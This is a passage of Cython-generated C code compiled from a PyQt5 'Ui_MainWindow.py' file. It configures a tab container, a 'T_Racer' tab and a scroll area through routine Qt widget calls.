(__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":23 * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) # <<<<<<<<<<<<<< * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":24 * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") # <<<<<<<<<<<<<< * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":25 * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") # <<<<<<<<<<<<<< * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":26 * self.Tab_Container.setToolTip("") * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") # <<<<<<<<<<<<<< * self.Tab_Container.setAccessibleDescription("") * self.Tab_Container.setObjectName("Tab_Container") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":27 * self.Tab_Container.setStatusTip("") * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.Tab_Container.setObjectName("Tab_Container") * self.T_Racer = QtWidgets.QWidget() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":28 * self.Tab_Container.setAccessibleName("") * self.Tab_Container.setAccessibleDescription("") * self.Tab_Container.setObjectName("Tab_Container") # <<<<<<<<<<<<<< * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__14, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":29 * self.Tab_Container.setAccessibleDescription("") * self.Tab_Container.setObjectName("Tab_Container") * self.T_Racer = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Racer.setToolTip("") * self.T_Racer.setAccessibleName("") */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer, __pyx_t_1) < 0) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":30 * self.Tab_Container.setObjectName("Tab_Container") * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") # <<<<<<<<<<<<<< * self.T_Racer.setAccessibleName("") * self.T_Racer.setObjectName("T_Racer") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":31 * self.T_Racer = QtWidgets.QWidget() * self.T_Racer.setToolTip("") * self.T_Racer.setAccessibleName("") # <<<<<<<<<<<<<< * self.T_Racer.setObjectName("T_Racer") * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__16, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":32 * self.T_Racer.setToolTip("") * self.T_Racer.setAccessibleName("") * self.T_Racer.setObjectName("T_Racer") # <<<<<<<<<<<<<< * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":33 * self.T_Racer.setAccessibleName("") * self.T_Racer.setObjectName("T_Racer") * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) # <<<<<<<<<<<<<< * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) * self.scrollArea.setWidgetResizable(True) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QScrollArea); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_scrollArea, __pyx_t_1) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":34 * self.T_Racer.setObjectName("T_Racer") * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) # <<<<<<<<<<<<<< * self.scrollArea.setWidgetResizable(True) * self.scrollArea.setObjectName("scrollArea") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollArea); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QRect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":35 * self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) * self.scrollArea.setWidgetResizable(True) # <<<<<<<<<<<<<< * self.scrollArea.setObjectName("scrollArea") * self.scrollAreaWidgetContents = QtWidgets.QWidget() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollArea); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidgetResizable); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":36 * self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) * self.scrollArea.setWidgetResizable(True) * self.scrollArea.setObjectName("scrollArea") # <<<<<<<<<<<<<< * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollArea); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":37 * self.scrollArea.setWidgetResizable(True) * self.scrollArea.setObjectName("scrollArea") * self.scrollAreaWidgetContents = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents, __pyx_t_1) < 0) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":38 * self.scrollArea.setObjectName("scrollArea") * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) # <<<<<<<<<<<<<< * 